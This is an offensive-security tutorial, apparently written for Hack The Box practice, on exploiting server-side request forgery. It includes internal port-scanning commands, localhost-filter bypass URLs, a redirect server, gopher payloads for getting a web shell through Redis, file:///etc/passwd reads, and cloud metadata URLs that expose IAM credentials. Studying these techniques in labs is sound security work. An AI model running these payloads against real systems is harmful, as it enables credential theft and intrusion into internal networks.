SSRF: using the server to reach internal services and the cloud

SSRF step by step: detect it, scan internal ports, bypass localhost filters with redirects and alternative IPs, read AWS metadata and attack Redis with gopher.

· 4 min read

There is an SSRF when you can make the server send a request to an address of your choosing. From outside you only see the website; from inside, the server can reach 127.0.0.1, the internal network and, in the cloud, the metadata service with its credentials. The catalogue has more than 15 machines with SSRF, and the prize is almost always an internal service you were not meant to see.

Where it shows up

  • Fields asking for a URL: "import from URL", link previews, webhooks, remote avatars, status checkers.
  • PDF or screenshot generators built from HTML (the HTML can include an <iframe>, <img> or <link> pointing anywhere).
  • Parameters named url, uri, dest, redirect, next, feed, host, proxy.
  • Files the server processes: SVG, XML (XXE), Office documents.

Confirming it

Put in your own IP and listen:

nc -lvnp 80        # or python3 -m http.server 80
url=http://10.10.14.5/test

If the request arrives, read its headers: the User-Agent tells you what sent it (python-requests, curl, Go-http-client, a headless browser), and that changes what you can do. If the website does not show you the response, it is a blind SSRF: still useful for timing-based scanning or for attacking services that need no response.

Exploring the internal network

# localhost ports: compare response size or timing
ffuf -u 'http://target.htb/preview?url=http://127.0.0.1:FUZZ/' -w <(seq 1 65535) -fs 0 -t 50

# Hosts on the internal network (Docker usually uses 172.17.0.0/16)
ffuf -u 'http://target.htb/preview?url=http://172.17.0.FUZZ/' -w <(seq 1 254) -fs 0

What you most often find behind it: admin panels restricted to localhost, unauthenticated internal APIs, Redis, Elasticsearch, the Docker daemon (port 2375), Consul, Jenkins, or a service with a known CVE. On Sau, the SSRF leads to an internal Maltrail with a command injection.

Bypassing localhost filters

If the application bans 127.0.0.1 or localhost, there are plenty of ways to write the same thing:

http://127.1/
http://0/
http://0.0.0.0/
http://[::1]/
http://[::ffff:127.0.0.1]/
http://2130706433/            # 127.0.0.1 in decimal
http://0x7f000001/            # in hex
http://017700000001/          # in octal
http://localtest.me/          # a domain that resolves to 127.0.0.1
http://127.0.0.1.nip.io/

And if it checks the URL before making the request but follows redirects, use your own server to redirect:

# redir.py: python3 redir.py  (then set url=http://10.10.14.5/)
from http.server import BaseHTTPRequestHandler, HTTPServer
class R(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:3000/admin')
        self.end_headers()
HTTPServer(('0.0.0.0', 80), R).serve_forever()

That is exactly what you need on Forge and on Health. Other tricks: a URL with credentials (http://[email protected]/), a fragment (http://127.0.0.1#allowed.com) or DNS rebinding (a domain that first resolves to an allowed IP and then to 127.0.0.1).

Other schemes

If the library is not limited to HTTP, try:

file:///etc/passwd
file:///c:/windows/win.ini
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_...

gopher:// lets you send arbitrary bytes to a TCP port, so you can talk to Redis, password-less MySQL, SMTP or FastCGI. Gopherus builds the payload:

gopherus --exploit redis      # asks what to do: write a web shell or a cron job

SSRF in the cloud

On AWS, GCP and Azure, a special IP serves the instance metadata and, sometimes, temporary credentials:

# AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# GCP (needs the Metadata-Flavor: Google header)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs the Metadata: true header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Note

AWS IMDSv2 requires fetching a token first with a PUT request and a special header, so an SSRF that can only GET is no longer enough. If you control the method and headers, it is. The cloud cheat sheet covers what to do with the credentials.

Common errors

  • The request reaches your box but not 127.0.0.1: the server runs in a container; its localhost is not the host's. Try the host's IP on the Docker network (172.17.0.1).
  • It only accepts domains from a list: look for an open redirect on those domains (/logout?next=) and chain it.
  • You cannot see the response: check whether the timing or the status code at least changes; that is enough to scan. To read data, find an internal service that sends it to you (a webhook, an email).

What next

Once you find the internal service, treat it like any other: enumerate its version and look for a public CVE. If you land a shell in a container, carry on with the containers section of Linux privilege escalation.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

SSRF 15 machines

See all 15 machines →

Spotted a mistake or something missing? Tell us